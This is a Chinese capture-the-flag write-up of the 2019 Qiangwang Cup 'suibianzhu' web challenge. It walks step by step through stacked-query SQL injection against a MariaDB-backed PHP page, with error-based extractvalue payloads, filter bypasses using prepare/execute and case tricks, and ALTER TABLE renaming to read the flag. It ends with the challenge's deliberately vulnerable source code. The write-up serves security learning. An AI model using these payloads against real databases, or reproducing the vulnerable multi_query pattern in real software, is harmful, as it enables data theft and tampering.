2019-强网杯-Web-随便注

复现环境

https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

考察知识点

  • 堆叠注入
  • 绕过select和update关键字
  • 预编译绕过
  • 修改表名列名绕过

解题分析

打开题目看到是提交参数查询的窗口

image

尝试基本sql注入测试

1. 探测有无注入

1'   报错
1'#  正常且为True
1' and 1=1#  正常且为True
1' and 1=2#  正常且为False

可以得知存在注入,并且参数使用单引号闭合。

2. 尝试获取列数

1' order by 1#
1' order by 2#
1' order by 3#  报错

得出列数为2

3. 尝试获取数据库名,用户等基本信息

尝试union查询

-1' union se/**/lect null, user()#

结果提示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。

于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue

用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'

数据库

1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'

版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。

2. 利用堆叠注入绕过过滤

1. 接下来我们尝试堆叠注入能否可行。

-1';show tables#

结果:
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

2. 堆叠注入可行,然后看一下表的字段

-1';desc `1919810931114514`#
-1';desc `words`#

结果:
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#

# 注意,以上表名要加反引号

3. 查数据

上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

接下来要读取此字段内的数据,我们要执行的目标语句是:

select * from `1919810931114514`;

这里需要绕过select的限制,我们可以使用预编译的方式。

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

直接看payload就懂了:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

结果为:

strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

结果为flag。

绕过select还有第二个方法,更改表名列名

由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后使用1' or 1=1#即可查询出flag

3. 题目源码分析

从上面的docker里面可以看到题目的源码如下:

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>

</body>

</html>

使用multi_query()执行一条或多条sql语句,然后将结果全部输出。

参考

https://zhuanlan.zhihu.com/p/78989602

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容